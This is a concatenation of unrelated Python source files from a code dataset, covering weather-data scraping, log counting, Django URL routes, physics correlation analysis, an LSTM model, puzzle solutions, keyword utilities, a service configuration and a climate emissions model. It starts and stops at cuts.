collate_fn_trunc_pad\r\n","sub_path":"wrench/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4433,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"127049396","text":"#!/usr/bin/python\n#\n# Python module to provide station information from the ICAO identifiers\n#\n# Copyright 2004 Tom Pollard\n# \n#!/usr/bin/python\n#\n# Python module to provide station information from the ICAO identifiers\n#\n# Copyright 2004 Tom Pollard\n# \nimport datetime \nimport urllib2 \nimport cookielib\nimport Datatypes\nimport matplotlib\nimport matplotlib.dates as mdates\nmatplotlib.rcParams['timezone'] = 'UTC'\n\n\nclass station:\n \"\"\"An object representing a weather station.\"\"\"\n\n def __init__(self, sta_id, city=None, state=None,\n country=None, latitude=None, longitude=None):\n self.sta_id = sta_id\n self.city = city\n self.state = state\n self.country = country\n self.position = Datatypes.position(latitude,longitude)\n if self.state:\n self.name = \"%s, %s\" % (self.city, self.state)\n else:\n self.name = self.city\n\n self.urlopener = self.__setCookies()\n\n def __setCookies(self):\n jar = cookielib.CookieJar()\n handler = urllib2.HTTPCookieProcessor(jar)\n opener = urllib2.build_opener(handler)\n url1 = 'http://www.wunderground.com/history/airport/%s/2011/12/4/DailyHistory.html?' % self.sta_id\n url2 = 'http://www.wunderground.com/cgi-bin/findweather/getForecast?setpref=SHOWMETAR&value=1'\n url3 = 'http://www.wunderground.com/history/airport/%s/2011/12/4/DailyHistory.html?&&theprefset=SHOWMETAR&theprefvalue=1&format=1' % self.sta_id\n\n opener.open(url1)\n opener.open(url2)\n opener.open(url3)\n return opener\n\n def urlByDate(self, date):\n \"http://www.wunderground.com/history/airport/KDCA/1950/12/18/DailyHistory.html?format=1\"\n baseurl = 'http://www.wunderground.com/history/airport/%s' % self.sta_id\n endurl = 'DailyHistory.html?&&theprefset=SHOWMETAR&theprefvalue=1&format=1'\n datestring = date.strftime('%Y/%m/%d')\n url = '%s/%s/%s' % (baseurl, datestring, endurl)\n return url\n\n def getHourlyData(self, url, outfile, errorfile, keepheader=False):\n observations = []\n if keepheader:\n start = 1\n else:\n start = 2\n\n try:\n webdata = self.urlopener.open(url)\n rawlines = webdata.readlines()\n outfile.writelines(rawlines[start:])\n except:\n errorfile.write('error on: %s\\n' % (url,))\n\n\n\ndef getAllStations():\n station_file_name = \"nsd_cccc.txt\"\n station_file_url = \"http://www.noaa.gov/nsd_cccc.txt\"\n stations = {}\n\n fh = open(station_file_name,'r')\n for line in fh:\n f = line.strip().split(\";\")\n stations[f[0]] = station(f[0],f[3],f[4],f[5],f[7],f[8])\n fh.close()\n\n return stations\n\ndef getStationByID(sta_id):\n stations = getAllStations()\n return stations[sta_id]\n\ndef processWundergroundFile(csvin, csvout, errorfile):\n coverdict = {'CLR' : 0,\n 'SKC' : 0,\n 'OVC' : 1,\n 'BKN' : 0.75,\n 'SCT' : 0.4375,\n 'FEW' : 0.1875,\n 'VV' : 0.99}\n\n headers =['LocalTime',\n 'Temperature C',\n 'Dew Point C',\n 'Humidity',\n 'Sea Level Pressure hPa',\n 'VisibilityKm',\n 'Wind Direction',\n 'Wind Speed Km/h',\n 'Gust Speed Km/h',\n 'Precipitationmm',\n 'Events',\n 'Conditions',\n 'FullMetar',\n 'WindDirDegrees',\n 'DateUTC',\n 'maxskycover',\n 'allskycover->']\n datain = open(csvin, 'r')\n dataout = open(csvout, 'w')\n\n for h in headers[:-1]:\n dataout.write('%s,' % (h,))\n dataout.write('%s\\n' % (headers[-1]),)\n\n junk = datain.readline()\n for line in datain:\n dataline = line.split('<')[0]\n row = dataline.split(',')\n dataout.write(dataline)\n datestr = row[-1]\n\n try:\n datenum = mdates.datestr2num(datestr)\n date = mdates.num2date(datenum)\n good = True\n except ValueError:\n good = False\n errorfile.write('%s: %s\\n' % (date.strftime('%Y-%m-%d'), datestr))\n\n if good:\n metarstring = row[-3]\n obs = Metar(metarstring, month=date.month, year=date.year,\n errorfile=errorfile)\n\n cover = []\n for sky in obs.sky:\n coverval = coverdict[sky[0]]\n cover.append(coverval)\n\n if len(cover) > 0:\n dataout.write(',%0.2f' % (np.max(cover),))\n for c in cover:\n dataout.write(',%0.2f' % (c,))\n dataout.write('\\n')\n\n datain.close()\n dataout.close()\n","sub_path":"metar/Station.py","file_name":"Station.py","file_ext":"py","file_size_in_byte":4777,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"475271048","text":"import os\nimport sys\nimport io\nimport re\nimport traceback\nimport zipfile\nimport datetime\nimport numpy as np\nimport pandas as pd\n#import matplotlib.pyplot as plt\n\n\ndef get_filename_info(filename):\n cmpl_file = re.compile(r'^(?P\\d{8})[_](?P.+?)[.]txt$')\n m = cmpl_file.match(filename)\n if m is None:\n return ('', None)\n date_ = m.groupdict()['date_']\n alias = m.groupdict()['logname']\n return (date_, alias)\n\n\ndef get_log_data(filepath, datestr, encoding):\n data = {}\n try:\n if os.path.isdir(filepath):\n for filename in os.listdir(path=filepath):\n date_, alias = get_filename_info(filename)\n if datestr in date_:\n data[alias] = []\n with open(os.path.join(filepath, filename), 'r') as fp:\n for line in fp.readlines():\n data[alias].append(str(line)[1:].strip('\\'').strip('\\r\\n'))\n\n else:\n with zipfile.ZipFile(filepath, 'r') as zip_root:\n for info in zip_root.infolist():\n date_, alias = get_filename_info(info.filename.split('/')[-1])\n if datestr in date_:\n data[alias] = []\n with zip_root.open(info.filename, 'r') as fp:\n for line in fp.readlines():\n #data[alias].append(str(line)[1:].strip('\\'').strip('\\r\\n'))\n data[alias].append(line.decode(encoding).strip('\\r\\n'))\n except:\n raise Exception('log data cannot get exception')\n return data\n\n\ndef get_count(data, keyword):\n cmpl = re.compile(r'(?P
      .+?)[ ]{2,}(?P.+?)[ ]{2,}(?P.+?)[ ]{2,}(?P.+?)$')\n count = {}\n for name,log in data.items():\n count[name] = 0\n for line in log:\n m = cmpl.match(line)\n if m is not None and keyword in m.groupdict()['progress']:\n count[name] += 1\n count = dict(sorted(count.items(), key=lambda x : x[0]))\n return count\n\n\ndef dir_filter(root, keyword):\n result = []\n for d in os.listdir(path=root):\n path = os.path.join(root,d)\n if keyword in d:\n result.append(path)\n if os.path.isdir(path):\n result += dir_filter(path, keyword)\n return result\n\n\ndef daterange(start_date, end_date):\n for n in range((end_date - start_date).days):\n yield start_date + datetime.timedelta(n)\n\n\ndef myprint(fp, str_):\n fp.write(str(str_)+'\\n')\n print(str_)\n\n\ndef main(start=[2017,5,23], end=[2018,8,23]):\n result_name = 'result_batch.csv'\n log_name = 'result_batch.log'\n root = r'\\\\10.19.196.123\\nas\\106_ブランドプリカ\\01_事業部全員\\10_商用ログ\\02_ブランドプリカ週次便'\n log_encoding = 'SJIS'\n target_name = 'バッチVBSログ'\n filter_name = '業務処理終了'\n correct_cmpl = re.compile(r'^\\d{8}.*?')\n start_date = datetime.datetime.strptime('{0:04d}{1:02d}{2:02d}'.format(start[0],start[1],start[2]), '%Y%m%d')\n end_date = datetime.datetime.strptime('{0:04d}{1:02d}{2:02d}'.format(end[0],end[1],end[2]), '%Y%m%d')\n\n result = []\n with open(log_name, 'a') as fp_log:\n myprint(fp_log, '================================================================')\n myprint(fp_log, 'SCRIPT START at {now}'.format(now=datetime.datetime.now().strftime('%Y/%m/%d %H:%M:%S')))\n myprint(fp_log, 'analysis date: ({start}~{end}) '.format(start=start_date.strftime('%Y%m%d'), end=end_date.strftime('%Y%m%d')))\n try:\n # 週単位のループ\n for dir_walk in os.listdir(path=root):\n m = correct_cmpl.match(dir_walk)\n if m is not None:\n dir_walk_date = datetime.datetime.strptime(dir_walk[:8], '%Y%m%d')\n if start_date <= dir_walk_date <= end_date:\n myprint(fp_log, '@{dir_}'.format(dir_=dir_walk))\n try:\n logfolderpath = dir_filter(os.path.join(root, dir_walk), target_name)[0]\n # 日単位のループ\n for target_date in daterange(dir_walk_date-datetime.timedelta(days=7),dir_walk_date):\n result_line = {'time': target_date.strftime('%Y%m%d')}\n myprint(fp_log, '-------------------------------')\n myprint(fp_log, '{date}'.format(date=target_date))\n myprint(fp_log, logfolderpath)\n try:\n # zipからデータ抜出\n data = get_log_data(logfolderpath, target_date.strftime('%Y%m%d'), log_encoding)\n if data is not None and data != {}:\n myprint(fp_log, 'data OK')\n # カウント\n count_data = get_count(data, filter_name)\n result_line.update(count_data)\n myprint(fp_log, 'count OK')\n else:\n myprint(fp_log, 'data NULL')\n except:\n myprint(fp_log, 'analysis failed')\n myprint(fp_log, traceback.print_exc())\n result.append(result_line)\n except:\n myprint(fp_log, 'getting dir failed'.format(dir_=dir_walk))\n myprint(fp_log, traceback.print_exc())\n except:\n myprint(fp_log, traceback.print_exc())\n finally:\n df_result = pd.DataFrame(result, columns=result[0].keys())\n df_result.set_index('time')\n df_result.to_csv(result_name)\n myprint(fp_log, 'SCRIPT END at {now}'.format(now=datetime.datetime.now().strftime('%Y/%m/%d %H:%M:%S')))\n myprint(fp_log, '================================================================')\n\nif __name__ == '__main__':\n args = sys.argv\n start = [2017,5,23]\n end = [2018,8,23]\n try:\n start = [int(args[1][0:4]),int(args[1][4:6]),int(args[1][6:8])]\n if len(args) == 3:\n end = [int(args[2][0:4]),int(args[2][4:6]),int(args[2][6:8])]\n else:\n now = datetime.datetime.now()\n end = [int(now.year), int(now.month), int(now.day)]\n except:\n raise ValueError('引数設定が間違っています。\\nex) shuukei.py yyyymmdd yyyymmdd\\n{}'.format(args))\n main(start, end)","sub_path":"07__log_scraping/old_scripts/shuukei_batch.py","file_name":"shuukei_batch.py","file_ext":"py","file_size_in_byte":6792,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"64051036","text":"from django.conf.urls import url\nfrom . import views\nfrom django.urls import path,include,re_path\n\napp_name='blog'\n\nurlpatterns = [\n url('^index/$', views.index,name='index'),\n re_path('^article/(?P[0-9]+)$', views.article_page,name='article_page'),\n re_path('^edit/(?P[0-9]+)$', views.edit_page, name='edit_page'),\n url('^edit/action/$', views.edit_action,name='edit_action'),\n url('^edit/del_action', views.del_action, name='del_action'),\n]\n","sub_path":"blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":482,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"282662435","text":"from django.conf.urls import url\nfrom . import views\n\napp_name = 'movie'\n\nurlpatterns = [\n url(r'^$', views.IndexView.as_view(), name='index'),\n url(r'^movie/add/$', views.MovieCreate.as_view(), name='add'),\n url(r'^(?P[0-9]+)/$', views.MovieDetailView.as_view(), name='detail'),\n url(r'^(?P[0-9]+)/delete/$', views.MovieDelete.as_view(), name='delete'),\n]","sub_path":"movie/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":376,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"441081477","text":"import numpy as np\nimport pandas as pd\nimport seaborn as sns\n\nimport dhfcorr.config_yaml as confyaml\nimport dhfcorr.correlate.correlate as corr\nimport dhfcorr.correlate.make_pairs\nimport dhfcorr.io.data_reader as reader\n\nuse_built_pairs = False\n\nsns.set()\nsns.set_context('notebook')\nsns.set_palette('Set1')\n\nvariables_to_keep_trig = ['RunNumber', 'EventNumber', 'ID', 'IsParticleCandidate', 'Pt', 'Eta', 'Phi', 'InvMass', 'bkg']\nvariables_to_keep_assoc = ['RunNumber', 'EventNumber', 'Charge', 'Pt', 'Eta', 'Phi', 'InvMassPartnersULS',\n 'InvMassPartnersLS']\nindex = ['RunNumber', 'EventNumber']\n\nelectron = reader.load('D0_HMV0', 'electron', columns=variables_to_keep_assoc, index=index, lazy=True)\ndmeson = reader.load('D0_HMV0', 'dmeson', columns=variables_to_keep_trig, index=index, lazy=True)\ndf = list(zip(dmeson, electron))\n\nconfig_corr = confyaml.ConfigYaml()\npt_bins_trig = config_corr.values['correlation']['bins_trig']\npt_bins_assoc = config_corr.values['correlation']['bins_assoc']\ntrig_suffix = '_t'\nassoc_suffix = '_a'\n\npt_bins_trig_mid = (np.array(pt_bins_trig) + np.array(pt_bins_trig)) / 2\npt_bins_pd_format = list(pd.cut(pt_bins_trig_mid, pt_bins_trig).categories)\nbest_sig_cuts = [0.022, 0.035, 0.04, 0.0895, 0.1875, 0.312, 0.3785, 0.499, 0.5, 0.497, 0.4295]\nbest_sig_cuts_dict = dict(zip(pt_bins_pd_format, best_sig_cuts))\n\n\ndef filter_dmeson(data, cuts):\n return data[data['bkg'] < cuts[data.name]]\n\n\ninv_mass_trig_list = list()\n\nif use_built_pairs:\n print(\"Reading pairs from file\")\n sum_pairs = reader.load_pairs(config_corr, 'selected')\nelse:\n print(\"Building pairs\")\n\n sum_pairs = dhfcorr.correlate.make_pairs.build_pairs_from_lazy(df, (trig_suffix, assoc_suffix), pt_bins_trig,\n pt_bins_assoc,\n filter_trig=lambda x: filter_dmeson(x,\n best_sig_cuts_dict),\n **config_corr.values['correlation'])\n\n sum_pairs.to_parquet('pairs_d_hfe_hm.pkl')\n\nprint(\"Recalculating the Phi and Pt Bins\")\nsum_pairs['DeltaPhiBin'] = pd.cut(sum_pairs['DeltaPhi'], config_corr.values['correlation']['bins_phi'])\nsum_pairs['DeltaEtaBin'] = pd.cut(sum_pairs['DeltaEta'], config_corr.values['correlation']['bins_eta'])\nsum_pairs['APtBin'] = pd.cut(sum_pairs['Pt_a'], config_corr.values['correlation']['bins_assoc'])\nsum_pairs['TPtBin'] = pd.cut(sum_pairs['Pt_t'], config_corr.values['correlation']['bins_trig'])\n\n# Get ULS and LS pair numbers\nprint(\"Calculating the NHFe pairs\")\nsum_pairs['NULS_a'] = sum_pairs.InvMassPartnersULS_a.transform(lambda x: len(x[x < 0.14]))\nsum_pairs['NLS_a'] = sum_pairs.InvMassPartnersLS_a.transform(lambda x: len(x[x < 0.14]))\n\nfits = pd.read_pickle(config_corr.values['base_folder'] + '/' + 'fits_inv_mass.pkl')\n\ncorrelation_dist = sum_pairs.groupby(['APtBin', 'TPtBin']).apply(\n lambda x: corr.correlation_dmeson(x, suffixes=('_t', '_a'), plot=True,\n subtract_non_hfe=False, **config_corr.values))\ncorrelation_dist.reset_index(inplace=True)\nname = 'hmv0'\ncorrelation_dist.to_pickle(name + '_results_correlation_inc.pkl')\n\n\"\"\"\" \n# D - ULS electron correlation\nd_uls = sum_pairs.loc[sum_pairs['NULS_a']>0]\ncorrelation_dist_uls = d_uls.groupby(['APtBin', 'TPtBin']).apply(\n lambda x: corr.correlation_dmeson(x, suffixes=('_t', '_a'), plot=True, **config_corr.correlation))\ncorrelation_dist_uls.reset_index(inplace=True)\nname = 'hmv0'\ncorrelation_dist_uls.to_pickle(name + '_results_correlation_uls.pkl')\n\n# D - LS electron correlation\nd_ls = sum_pairs.loc[sum_pairs['NLS_a']>0]\ncorrelation_dist_ls = d_ls.groupby(['APtBin', 'TPtBin']).apply(\n lambda x: corr.correlation_dmeson(x, suffixes=('_t', '_a'), plot=True, **config_corr.correlation))\ncorrelation_dist_ls.reset_index(inplace=True)\nname = 'hmv0'\ncorrelation_dist_ls.to_pickle(name + '_results_correlation_ls.pkl')\n\"\"\"\n","sub_path":"correlation.py","file_name":"correlation.py","file_ext":"py","file_size_in_byte":4093,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"301079467","text":"import theano.tensor as T\n\nimport lasagne as las\nfrom lasagne.layers import InputLayer, LSTMLayer, DenseLayer, ReshapeLayer, ElemwiseSumLayer\nfrom lasagne.layers import Gate\nfrom lasagne.nonlinearities import tanh\nfrom custom.layers import create_blstm, create_lstm\n\n\ndef create_model(input_shape, input_var, mask_shape, mask_var, lstm_size=250, output_classes=26,\n w_init=las.init.GlorotUniform(), use_peepholes=False, use_blstm=True):\n gate_parameters = Gate(\n W_in=w_init, W_hid=w_init,\n b=las.init.Constant(0.))\n cell_parameters = Gate(\n W_in=w_init, W_hid=w_init,\n # Setting W_cell to None denotes that no cell connection will be used.\n W_cell=None, b=las.init.Constant(0.),\n # By convention, the cell nonlinearity is tanh in an LSTM.\n nonlinearity=tanh)\n\n l_in = InputLayer(input_shape, input_var, 'input')\n l_mask = InputLayer(mask_shape, mask_var, 'mask')\n\n symbolic_seqlen = l_in.input_var.shape[1]\n if use_blstm:\n f_lstm, b_lstm = create_blstm(l_in, l_mask, lstm_size, cell_parameters, gate_parameters, 'lstm', use_peepholes)\n l_sum = ElemwiseSumLayer([f_lstm, b_lstm], name='sum')\n\n # reshape to (num_examples * seq_len, lstm_size)\n l_reshape = ReshapeLayer(l_sum, (-1, lstm_size), name='reshape')\n else:\n l_lstm = create_lstm(l_in, l_mask, lstm_size, cell_parameters, gate_parameters, 'lstm', use_peepholes)\n l_reshape = ReshapeLayer(l_lstm, (-1, lstm_size), name='reshape')\n\n # Now, we can apply feed-forward layers as usual.\n # We want the network to predict a classification for the sequence,\n # so we'll use a the number of classes.\n l_softmax = DenseLayer(\n l_reshape, num_units=output_classes, nonlinearity=las.nonlinearities.softmax, name='softmax')\n\n l_out = ReshapeLayer(l_softmax, (-1, symbolic_seqlen, output_classes), name='output')\n return l_out\n","sub_path":"modelzoo/lstm_classifier_majority_vote.py","file_name":"lstm_classifier_majority_vote.py","file_ext":"py","file_size_in_byte":1924,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"476984670","text":"class Solution:\n def countAndSay(self, n):\n if n <= 2:\n return '1' * n\n else:\n result = '11'\n for i in range(2, n):\n result = self.count(result)\n return result\n\n def count(self, result):\n num = result[0]\n count_arr = [0]\n num_arr = []\n count = 0\n final_number = ''\n for i in range(len(result)):\n if num == result[i]:\n count += 1\n count_arr.pop()\n count_arr.append(count)\n else:\n count_arr.append(1)\n num_arr.append(num)\n count = 1\n num = result[i]\n num_arr.append(num)\n for i in range(len(count_arr)):\n final_number += str(count_arr[i]) + str(num_arr[i])\n return final_number\n\n\nrr = Solution()\nr = rr.countAndSay(6)\nprint(r)\n# r = solve(20)\n# print(r)\n","sub_path":"Strings/count-and-say.py","file_name":"count-and-say.py","file_ext":"py","file_size_in_byte":928,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"438636990","text":"from __future__ import division\n\ntry:\n import cPickle as pickle\nexcept ImportError:\n import pickle\n\nimport os\nimport random\nfrom collections import Counter, defaultdict\n\nfrom magpie.base.document import Document\n\n\ndef save_to_disk(path_to_disk, obj, overwrite=False):\n \"\"\" Pickle an object to disk \"\"\"\n dirname = os.path.dirname(path_to_disk)\n if not os.path.exists(dirname):\n raise ValueError(\"Path \" + dirname + \" does not exist\")\n\n if not overwrite and os.path.exists(path_to_disk):\n raise ValueError(\"File \" + path_to_disk + \"already exists\")\n\n pickle.dump(obj, open(path_to_disk, 'wb'))\n\n\ndef load_from_disk(path_to_disk):\n \"\"\" Load a pickle from disk to memory \"\"\"\n if not os.path.exists(path_to_disk):\n raise ValueError(\"File \" + path_to_disk + \" does not exist\")\n\n return pickle.load(open(path_to_disk, 'rb'))\n\n\ndef get_documents(data_dir, as_generator=True, shuffle=False):\n \"\"\"\n Extract documents from *.txt files in a given directory\n :param data_dir: path to the directory with .txt files\n :param as_generator: flag whether to return a document generator or a list\n :param shuffle: flag whether to return the documents\n in a shuffled vs sorted order\n\n :return: generator or a list of Document objects\n \"\"\"\n files = list({filename[:-4] for filename in os.listdir(data_dir)})\n files.sort()\n if shuffle:\n random.shuffle(files)\n\n generator = (Document(doc_id, os.path.join(data_dir, f + '.txt'))\n for doc_id, f in enumerate(files))\n return generator if as_generator else list(generator)\n\n\ndef get_all_answers(data_dir, filtered_by=None):\n \"\"\"\n Extract ground truth answers from *.key files in a given directory\n :param data_dir: path to the directory with .key files\n :param filtered_by: whether to filter the answers. Both sets and ontologies\n can be passed as filters\n\n :return: dictionary of the form e.g. {'101231': set('key1', 'key2') etc.}\n \"\"\"\n answers = dict()\n\n files = {filename[:-4] for filename in os.listdir(data_dir)}\n for f in files:\n answers[f] = get_answers_for_doc(f + '.txt',\n data_dir,\n filtered_by=filtered_by)\n\n return answers\n\n\ndef get_answers_for_doc(doc_name, data_dir, filtered_by=None):\n \"\"\"\n Read ground_truth answers from a .key file corresponding to the doc_name\n :param doc_name: the name of the document, should end with .txt\n :param data_dir: directory in which the documents and answer files are\n :param filtered_by: whether to filter the answers. Both sets and ontologies\n can be passed as filters\n\n :return: set of unicodes containing answers for this particular document\n \"\"\"\n filename = os.path.join(data_dir, doc_name[:-4] + '.lab')\n\n if not os.path.exists(filename):\n raise ValueError(\"Answer file \" + filename + \" does not exist\")\n\n with open(filename, 'rb') as f:\n answers = {line.decode('utf-8').rstrip('\\n') for line in f}\n\n if filtered_by:\n answers = {kw for kw in answers if kw in filtered_by}\n\n return answers\n\n\ndef calculate_keyword_distribution(data_dir, filtered_by=None):\n \"\"\"\n Calculate the distribution of keywords in a directory. Function can be used\n to find the most frequent and not used keywords, so that the target\n vocabulary can be trimmed accordingly.\n :param data_dir: directory path with the .key files\n :param filtered_by: a set of keywords that defines the vocabulary.\n Can also be an Ontology object\n\n :return: list of KV pairs of the form (14, ['kw1', 'kw2']), which means\n that both kw1 and kw2 were keywords in 14 papers\n \"\"\"\n answers = [kw for v in get_all_answers(data_dir, filtered_by=filtered_by).values()\n for kw in v]\n counts = Counter(answers)\n\n histogram = defaultdict(list)\n for kw, cnt in counts.iteritems():\n histogram[cnt].append(kw)\n\n # Add terms that don't occur at all in the corpus\n # parsed_answers = {ontology.parse_label(l) for l in counts.keys()}\n # for node in ontology.graph:\n # parsed = ontology.graph.node[node]['parsed']\n # if parsed not in parsed_answers:\n # histogram[0].append(ontology.graph.node[node]['canonical'])\n\n # return sorted([(k, len(v)) for k, v in histogram.iteritems()] +\n # [(0, len(ontology.graph) - len(used_keywords))])\n return histogram\n\n\ndef calculate_number_of_keywords_distribution(data_dir, filtered_by=None):\n \"\"\" Look how many papers are there with 3 keywords, 4 keywords etc.\n Return a histogram. \"\"\"\n answers = get_all_answers(data_dir, filtered_by=filtered_by).values()\n lengths = [len(ans_set) for ans_set in answers]\n return Counter(lengths).items()\n\n\ndef get_coverage_ratio_for_keyword_subset(no_of_keywords, hist=None):\n \"\"\"\n Compute fraction of the samples we would be able to predict, if we reduce\n the number of keywords to a certain subset of the size no_of_keywords.\n :param no_of_keywords: the number of keywords that we limit the ontology to\n :param hist: histogram of the samples.\n Result of calculate_keyword_distribution function\n\n :return: number of keywords that we need to consider, coverage ratio\n \"\"\"\n if not hist:\n hist = calculate_keyword_distribution()\n\n hist = sorted([(k, len(v)) for k, v in hist.iteritems()])\n\n total_shots = sum([x[0] * x[1] for x in hist])\n keywords_collected = 0\n hits_collected = 0\n for papers, kws in reversed(hist):\n hits_collected += papers * kws\n keywords_collected += kws\n if keywords_collected >= no_of_keywords:\n return keywords_collected, hits_collected / float(total_shots)\n\n return -1\n\n\ndef get_top_n_keywords(n, hist=None):\n \"\"\"\n Return the n most popular keywords\n :param n: number of keywords to return\n :param hist: histogram, result of calculate_keyword_distribution() function\n\n :return: sorted list of strings\n \"\"\"\n if not hist:\n hist = calculate_keyword_distribution()\n\n kw_list = sorted([(k, v) for k, v in hist.iteritems()], reverse=True)\n\n answer = []\n for _count, kws in kw_list:\n answer.extend(kws)\n if len(answer) >= n:\n break\n\n return answer[:n]\n","sub_path":"magpie/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":6384,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"211362375","text":"import os, pandas, csv, re\nimport numpy as np\nimport hashlib\nfrom biothings.utils.dataload import dict_convert, dict_sweep\nfrom biothings import config\nlogging = config.logger\ndef load_gnomad_genome(data_folder):\n infile = os.path.abspath(\"/opt/biothings/GRCh37/gnomAD_genomes/r2.1/GnomadGenomes.tsv\")\n assert os.path.exists(infile)\n with open(infile) as fp:\n reader = csv.reader(fp, delimiter='\\t')\n header = next(reader)\n for line in reader:\n rec = dict(zip(header,line))\n var = rec[\"release\"] + \"_\" + str(rec[\"chromosome\"]) + \"_\" + str(rec[\"position\"]) + \"_\" + rec[\"reference\"] + \"_\" + rec[\"alternative\"] \n _id = hashlib.sha224(var.encode('ascii')).hexdigest() \n process_key = lambda k: k.replace(\" \",\"_\").lower()\n rec = dict_convert(rec,keyfn=process_key)\n rec = dict_sweep(rec,vals=[np.nan])\n results = {}\n results.setdefault(_id,[]).append(rec)\n for _id,docs in results.items():\n doc = {\"_id\": _id, \"gnomad_genome\" : docs}\n yield doc\n","sub_path":"parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":1111,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"516507676","text":"#!/usr/bin/env python3\n# -*- coding:utf-8 -*-\n\n'''\n古典问题:\n有一对兔子,从出生后第三个月起每个月都生一对小兔子,\n小兔子长到第三个月后每个月又生一对小兔子,\n假如兔子都不死,问每个月的兔子总数是多少?\n提示:兔子的数量增长符合 Fibonacci 数列\n'''\nfrom itertools import islice\n\ndef rabbit_grow():\n num, grow = 1, 0\n while True:\n yield num\n num, grow = num + grow, num\n\nr = rabbit_grow()\nfor i in list(islice(r, 12)):\n print(i)","sub_path":"练习实例100道/11.py","file_name":"11.py","file_ext":"py","file_size_in_byte":533,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"143988392","text":"orm_protocal = 'http'\norm_host = '127.0.0.1'\nlog_location = '{}'\nranger_base = '/opt/stack/upstream_ranger/ranger'\nlog_location = ranger_base + '/logs/{}'\ndb_user = 'root'\ndb_pass = 'stack'\ndb_host = '127.0.0.1'\nssl_verify = False\ntoken_auth_enabled = False\ntoken_auth_user = 'admin'\ntoken_auth_pass = 'nova'\ntoken_auth_tenant = 'admin'\ntoken_auth_user_role = 'admin'\nuuid_port = 7001\naudit_port = 7002\nrms_port = 7003\nrds_port = 8777\ncms_port = 7080\nfms_port = 8082\nims_port = 8084\n\ndb_url = 'mysql://' + db_user + ':' + db_pass + '@' + db_host + ':3306/'\n\nuuid = {\n 'port': uuid_port,\n 'base_url': '{}://{}:{}/'.format(orm_protocal, orm_host, uuid_port),\n 'log': log_location.format('uuidgen.log')\n}\ncms = {\n 'port': cms_port,\n 'base_url': '{}://{}:{}/'.format(orm_protocal, orm_host, cms_port),\n 'policy_file': ranger_base + '/orm/services/customer_manager/cms_rest/etc/policy.json',\n 'log': log_location.format('cms.log')\n}\nfms = {\n 'port': fms_port,\n 'base_url': '{}://{}:{}/'.format(orm_protocal, orm_host, fms_port),\n 'policy_file': ranger_base + '/orm/services/flavor_manager/fms_rest/etc/policy.json',\n 'log': log_location.format('fms.log')\n}\naudit_server = {\n 'port': audit_port,\n 'base_url': '{}://{}:{}/'.format(orm_protocal, orm_host, audit_port),\n 'log': log_location.format('audit_server.log')\n}\nims = {\n 'port': ims_port,\n 'base_url': '{}://{}:{}/'.format(orm_protocal, orm_host, ims_port),\n 'policy_file': ranger_base + '/orm/services/image_manager/ims/etc/policy.json',\n 'log': log_location.format('ims.log')\n}\nrms = {\n 'port': rms_port,\n 'base_url': '{}://{}:{}/'.format(orm_protocal, orm_host, rms_port),\n 'policy_file': ranger_base + '/orm/services/region_manager/rms/etc/policy.json',\n 'log': log_location.format('rms.log')\n}\nrds = {\n 'port': rds_port,\n 'repo_local_location': '/opt/app/orm/ORM',\n 'repo_user': 'orm',\n 'repo_email': 'orm@test.com',\n 'repo_remote_location': 'git@127.0.0.1:/home/repo/ORM.git',\n 'base_url': '{}://{}:{}/'.format(orm_protocal, orm_host, rds_port),\n 'log': log_location.format('rds.log')\n}\ncli = {\n 'base_region': 'local'\n}\n","sub_path":"orm/base_config.py","file_name":"base_config.py","file_ext":"py","file_size_in_byte":2166,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"191571802","text":"# -*- coding: utf-8 -*-\nfrom __future__ import division\nimport numpy as np\n\n\nclass EmissionsModel(object):\n \"\"\"\n EmissionsModel base class\n\n Properties:\n emissions_deforest: Emission from deforestation\n emissions_cap: Emissions caps for treaty\n user_tax_rate: Array of user-determined annual tax rates\n\n Methods:\n get_model_values()\n emissions_ind()\n emissions_total()\n carbon_emitted()\n get_miu()\n miu()\n tax_rate()\n \"\"\"\n def __init__(self, params):\n self.params = params\n\n @property\n def emissions_deforest(self):\n \"\"\"E_land, Emissions from deforestation\n\n Returns\n :returns: E_land(0) * (1 - .1) ^ (t - 1)\n :rtype: np.ndarray\n \"\"\"\n return (\n self.params.emissions_deforest_2005 *\n (1 - .1) ** self.params.t0\n )\n\n @property\n def emissions_cap(self):\n \"\"\"E_cap, Emissions caps from treaty inputs\n\n Returns\n :returns: Array of emissions caps\n :rtype: np.ndarray\n \"\"\"\n return np.concatenate((\n np.ones(5),\n (np.ones(5) * (1 - self.params.e2050)),\n (np.ones(5) * (1 - self.params.e2100)),\n (np.ones(45) * (1 - self.params.e2150)),\n ))\n\n @property\n def user_tax_rate(self):\n \"\"\"Optional user-defined carbon tax\n\n Returns\n :returns: Array of tax rates\n :rtype: np.ndarray\n \"\"\"\n c = [0, self.params.c2050, self.params.c2100,\n self.params.c2150, self.params.cmax]\n return np.concatenate((\n c[0] + ((c[1] - c[0]) / 5 * np.arange(5)),\n c[1] + ((c[2] - c[1]) / 5 * np.arange(5)),\n c[2] + ((c[3] - c[2]) / 5 * np.arange(5)),\n c[3] + ((c[3] - c[2]) / 5 * np.arange(45)),\n ))\n\n def get_model_values(self, i, df, deriv=False, opt=False,\n miu=None, emissions_shock=0):\n \"\"\"Get values 